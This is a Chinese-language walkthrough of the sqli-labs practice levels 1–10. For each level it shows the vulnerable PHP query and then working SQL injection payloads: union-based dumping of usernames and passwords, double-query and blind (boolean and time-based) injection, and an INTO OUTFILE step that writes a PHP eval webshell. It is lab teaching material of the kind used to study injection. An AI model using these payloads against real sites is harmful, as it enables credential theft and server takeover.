1. 程式人生 > >SQL注入之GET型常規注入

SQL注入之GET型常規注入

less1單引號字串注入

原始碼:$sql="select * from users where id='$id' limit 0,1";

$result=mysql_query($sql);

$row=mysql_fetch_array($result);

注入:?id=1' or '1'='1  或者?id=1' or 1=1--%20

構建sql語句:?id=1' union select 1,2,concat_ws(char(32,58,32),user(),version(),database()) %23

?id=1' union select 1,2,table_name from information_schema.tables where table_schema=0x736563757269479 %23  //使用十六進位制可以不用單引號

?id=1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32))  from users--+  //使用group_concat函式返回所有結果

less2數字型注入

原始碼:$sql="select * from users where id=$id limit 0,1";

注入:?id=-1 union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less3單引號變形字元型注入

原始碼:$sql="select * from users where id=('$id') limit 0,1";

注入:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less4雙引號字元型注入

原始碼:$id='"'.$id.'"';

$sql="select * from users where id=($id) limit 0,1";

注入:?id=-1") union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

less5雙注入單引號字元型注入

原始碼:$sql="select * from users where id='$id' limit 0,1";

注入:?id=-1') union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

雙查詢注入:兩個巢狀的查詢,即select..(select)..,先執行子查詢,再執行外面的select。雙注入涉及的幾個sql函式:

隨機函式rand(),返回0-1之間的值

取整函式floor(),返回小於等於物件的值

聚合函式count(),也稱計數函式,返回查詢物件的總數

分組語句group by cluase, 按照cluase對查詢結果分組

注入:

獲取資料庫:?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.schemata group by a--+

獲取表名:?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2)) as a from information_schema.tables group by a--+

查詢資訊:?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2) as a from information_schema.tables group by a--+

less6雙注入雙引號字元型注入

同上

less7匯出檔案字元型注入

原始碼:$sql="select * from users where id=(('$id')) limit 0,1";

outfile的固定結果:select A into outfile B, B通常是檔案路徑,A可以是資料庫資訊, 也可以是一句話木馬內容

第一種,構造select * from users into outfile "資料庫匯入匯出資料的目錄"

注入:?id=1')) and (select count(*) from mysql.users)>0   //判斷是否有最高許可權

?id=1')) union select * from users into outfile "c:\\data.txt"--+

第二種,將一句話木馬寫人到檔案,用菜刀拿下網站:

注入:?id=1')) union select 1,@@basedir,@@datadir--+  //@@basedir獲取資料庫路徑,@@datadir獲取安裝路徑

?id=1')) union select 1,'2','<?php @eval($_POST["cmd"]);?>' into outfile 'c:/AppServ/www/data.txt' %23

less8布林型單引號盲注(輸入合法時會返回“you are in...”,非法輸入時沒有任何返回)

原始碼:$sql="select * from users where id='$id' limit 0,1";

$result=mysql_query($sql);

$row=mysql_fetch_array($result);

盲注主要分為bool型和時間型,設計的函式有:

length(str):返回字串長度  substr(str,pos,len)和mid(str,pos,len)  ascii(str):返回字串最左邊的ascii碼 

left(str,len)和right(str,len)  if(a,b,c):條件判斷,如果a為true,返回b,否則返回c

盲注固定式:and ascii(substr(A,1,1))>B和and if(ascii(substr(A,1,1))>B,1,0)

less9基於時間的單引號盲注(合法輸入與非合法輸入都返回“you are in..”)

注入:?id=1' and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23

less10基於時間的雙引號盲注

注入:?id=1" and if(ascii(substr(database(),1,1))>115,0,sleep(5))%23